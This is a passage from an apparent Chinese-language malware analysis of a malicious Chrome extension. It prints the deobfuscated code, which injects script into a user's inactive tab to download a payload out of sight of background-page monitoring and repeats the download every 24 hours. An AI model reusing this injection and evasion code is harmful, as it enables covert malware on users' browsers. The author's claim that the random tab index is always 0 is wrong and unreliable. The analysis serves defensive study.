n(`${_0x9415ed}?hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=${cat}&eventAction=${act}&eventLabel=${lab}`, 'POST')['then'](_0x201de8=>{
let _0x9415ed = {};
_0x9415ed[_0x4b1721] = new Date()["getTime"](),
l["set"](_0x9415ed);
}
);
}
}
);
}

先看看e函数做了什么,这个函数利用有调用了其他的函数,先分析这个函数调用的其他函数。t函数

1
2
3
4
5
6
function t(t_param1, t_param2) {//eval_init  0x7
for (var var1 = '', var2 = 0x0, var3 = 0x0; var3 < t_param1['length']; var3++)
var2 = t_param1[var3]["charCodeAt"]() + t_param2,
var1 += String["fromCharCode"](var2);
return var1;
}

这个函数就是把字符串中每个字符的ascii+7,然后再把这个字符串返回。相当于加密了。

再看看l中的get函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
l = {
'get'(e=null) {
return new Promise((_0x459136,_0x1dd2d2)=>{
chrome["storage"]["local"]["get"](e, function(_0x49e268) {
_0x459136(_0x49e268);
});
}
);
},
'set'(_0x1054f4) {
return new Promise((_0x13679c,_0x5182a6)=>{
chrome["storage"]['local']["set"](_0x1054f4, function(_0x154ca1) {
_0x13679c(_0x154ca1);
});
}
);
},
'yJ'(_0x21744e) {
return new Promise((_0x23501d,_0x525375)=>{
chrome["storage"]["local"]['yJ'](_0x21744e, function(_0x298d92) {
_0x23501d(_0x298d92);
});
}
);
},

使用chrome.storage.local.get函数获取存在本地的值。

再看看l中的set函数。
使用chrome.storage.local.set函数存入值到本地。

n函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function n(_0x42ba8f, n="GET" ) {
return new Promise((_0x3090bd,_0x473358)=>{
function _0x3ad6d4(_0x3a3304, _0x4cce31, _0x57e5fb) {
"loading" === _0x4cce31["status"] && (_0x20f3c8(_0x57e5fb, _0x42ba8f) && c['NZ'] <= 0x0 && (chrome["tabs"]["onUpdated"]["removeListener"](arguments["callee"]),
_0x2bc9ef(_0x3a3304)),
c['NZ']--);
}
function _0x2bc9ef(_0x5a3411) {
chrome["runtime"]["onMessage"]["addListener"](_0x4b297c),
chrome["tabs"]["executeScript"](_0x5a3411, {
'code': `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${n}',url, true);xhr.send();})()`["replace"]('replaceableurl', `'${_0x42ba8f}'`)
});
}
function _0x4b297c(_0x4a051f) {
_0x4a051f["url"] === _0x42ba8f && (_0x3090bd(_0x4a051f["data"]),
chrome["runtime"]["onMessage"]['removeListener'](arguments["callee"]));
}
function _0x20f3c8(_0x45a021, _0x3db6fb) {
return new RegExp(`^((?!(chrome${_0x3db6fb["includes"]("http://") ? '|https|ftps' : ''})).+://)`)["test"](_0x45a021["url"]);
}
_0x42ba8f && 0x0 !== _0x42ba8f['length'] || _0x473358("Url error"),
chrome["tabs"]["query"]({}, function(_0x26d445) {
let _0x3090bd = _0x26d445["filter"](_0x1c9951=>_0x20f3c8(_0x1c9951, _0x42ba8f) && !_0x1c9951['active']);
0x0 === _0x3090bd["length"] ? chrome["tabs"]["onUpdated"]["addListener"](_0x3ad6d4) : _0x2bc9ef(_0x3090bd[Math["floor"](Math['random']() * _0x3090bd["length"])]['id']);
});
}
);
}

首先通过数组的filter函数,调用_0x20f3c8函数,过滤掉含有chromexxx:// 类似的页面(我猜过滤是chromexxx:// 类似的页面因为作者怕有人在背景页面使用开发者工具,观察网络情况。),然后在数组选择下标

1
Math["floor"](Math['random']() * resolve["length"])

(其实就是0,因为获取随机数就是0.xxxxx的小数,然后再使用floor函数,结果则为0。)的tab页面。

再使用_0x2bc9ef函数再tab页面注入js来进行下载payload。这个就是为什么我之前一直抓包抓不到页面的原因,因为我一直在背景页面观察网络情况,没想到作者这么机智,居然在打开的tab页面上注入js,然后下载payload。

3.jpg

可以看见是在一个用户自己打开的tab页面上进行网络访问的。

既然e调用的函数都分析完了,就看看e函数的流程了。

首先是将使用t函数加密字符串,然后再使用get函数,获取t函数加密后的字符串存入本地的值。

如果现在的时间戳-存入本地的值>0x5265c00,则调用n进行网络访问或者下载。由于第一次值是空的,则为0,顺利通过,因为的值的则需要大于0x5265c00(24个小时),则会再次进行访问或者下载。